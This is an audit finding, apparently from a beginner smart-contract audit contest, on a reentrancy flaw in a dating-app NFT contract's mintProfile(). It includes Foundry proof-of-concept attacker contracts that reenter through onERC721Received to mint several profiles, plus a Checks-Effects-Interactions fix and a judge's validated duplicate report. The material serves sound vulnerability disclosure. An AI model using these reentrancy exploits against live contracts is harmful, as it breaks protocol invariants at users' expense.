DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile() Allows Multiple Profiles Per User

Root + Impact

Description

  • When a user calls `mintProfile()`, the contract should enforce a strict one-profile-per-user invariant. The `profileToToken[msg.sender] == 0` check at the beginning ensures a user cannot have more than one profile.

  • The `_safeMint()` function triggers an external callback (`onERC721Received()`) to the recipient BEFORE the `profileToToken[msg.sender]` state variable is updated. A malicious contract can exploit this reentrancy window to call `mintProfile()` again during the callback, bypassing the one-profile-per-user check and minting multiple profile NFTs.

// SoulboundProfileNFT.sol:29-40
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists"); // Check passes during reentry!
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // EXTERNAL CALL: triggers onERC721Received()
// ^^^ Attacker can reenter here, profileToToken[msg.sender] is STILL 0
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId; // State updated AFTER external call
// ^^^ This line runs AFTER all reentrant calls complete
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood:

  • Requires attacker to deploy a malicious contract that implements `onERC721Received()`

  • Attack is straightforward to execute once the contract is deployed

Impact:

  • Breaks the protocol's one-profile-per-user invariant

  • `profileToToken` mapping becomes inconsistent - points to first tokenId but user owns multiple NFTs

  • Could affect LikeRegistry logic which relies on `profileToToken` for validation

  • Enables spam/griefing attacks with multiple fake profiles

  • Undermines the soulbound identity model

Proof of Concept

Attack flow:
1. Attacker deploys malicious contract with `onERC721Received()` callback
2. Attacker calls `mintProfile()` from malicious contract
3. `_safeMint()` triggers `onERC721Received()` callback
4. In callback, attacker calls `mintProfile()` again (profileToToken still 0!)
5. Second mint succeeds, triggers another callback
6. Process repeats until attacker has desired number of profiles
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
/**
* @title F-004 PoC: Reentrancy in mintProfile() - Multiple Profiles Per User
* @notice Slither identified reentrancy: state written after _safeMint() callback
* @dev Tests if an attacker can mint multiple profiles by reentering during onERC721Received()
*/
contract ReentrantMinter is IERC721Receiver {
SoulboundProfileNFT public profileNFT;
uint256 public mintCount;
uint256 public maxMints;
bool public attacking;
constructor(SoulboundProfileNFT _profileNFT) {
profileNFT = _profileNFT;
}
function attack(uint256 _maxMints) external {
maxMints = _maxMints;
mintCount = 0;
attacking = true;
profileNFT.mintProfile("Attacker", 25, "ipfs://attack");
attacking = false;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
mintCount++;
if (attacking && mintCount < maxMints) {
// Try to reenter and mint another profile
try profileNFT.mintProfile(
string(abi.encodePacked("Attacker", mintCount)),
25,
"ipfs://attack"
) {
// If this succeeds, we've bypassed the one-profile-per-user check
} catch {
// Expected: should revert with "Profile already exists"
}
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract F004_ReentrancyMintProfileTest is Test {
SoulboundProfileNFT public profileNFT;
ReentrantMinter public attacker;
function setUp() public {
profileNFT = new SoulboundProfileNFT();
attacker = new ReentrantMinter(profileNFT);
}
/**
* @notice Test if reentrancy allows multiple profile mints
* @dev Slither flagged: profileToToken[msg.sender] written AFTER _safeMint()
*/
function testReentrancyMintMultipleProfiles() public {
console.log("=== REENTRANCY ATTACK TEST ===");
console.log("Attacker address:", address(attacker));
// Check initial state
uint256 initialToken = profileNFT.profileToToken(address(attacker));
console.log("Initial profileToToken:", initialToken);
assertEq(initialToken, 0, "Should have no profile initially");
// Execute attack - try to mint 3 profiles
attacker.attack(3);
// Check final state
uint256 finalToken = profileNFT.profileToToken(address(attacker));
uint256 totalMints = attacker.mintCount();
console.log("Final profileToToken:", finalToken);
console.log("Total mint attempts:", totalMints);
console.log("Attacker NFT balance:", profileNFT.balanceOf(address(attacker)));
// If attack succeeded, attacker would have multiple NFTs
// If protected, attacker should have exactly 1 NFT
uint256 attackerBalance = profileNFT.balanceOf(address(attacker));
if (attackerBalance > 1) {
console.log("VULNERABILITY CONFIRMED: Multiple profiles minted!");
console.log("Attacker has", attackerBalance, "profile NFTs");
fail("Reentrancy attack succeeded - multiple profiles created");
} else {
console.log("Attack failed - only 1 profile created (expected)");
assertEq(attackerBalance, 1, "Should have exactly 1 profile");
}
}
/**
* @notice Verify the vulnerability window exists
* @dev Check that profileToToken is 0 during the callback
*/
function testVulnerabilityWindowExists() public {
// The vulnerability window is:
// 1. require(profileToToken[msg.sender] == 0) passes
// 2. _safeMint() triggers onERC721Received()
// 3. During callback, profileToToken[msg.sender] is STILL 0
// 4. After callback returns, profileToToken[msg.sender] = tokenId
// This means during step 3, a reentrant call to mintProfile()
// would pass the require check again!
// However, let's verify if the actual execution allows this
console.log("Testing vulnerability window...");
attacker.attack(2);
uint256 balance = profileNFT.balanceOf(address(attacker));
console.log("Attacker balance after attack:", balance);
// Report finding based on result
if (balance > 1) {
console.log("FINDING: Reentrancy allows multiple profiles");
} else {
console.log("INFO: Reentrancy blocked (likely by ERC721 internal checks)");
}
}
}

Recommended Mitigation

Use the Checks-Effects-Interactions pattern by updating state BEFORE the external call:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+
+ // Update state BEFORE external call (CEI pattern)
+ profileToToken[msg.sender] = tokenId;
+ _profiles[tokenId] = Profile(name, age, profileImage);
+
_safeMint(msg.sender, tokenId);
-
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!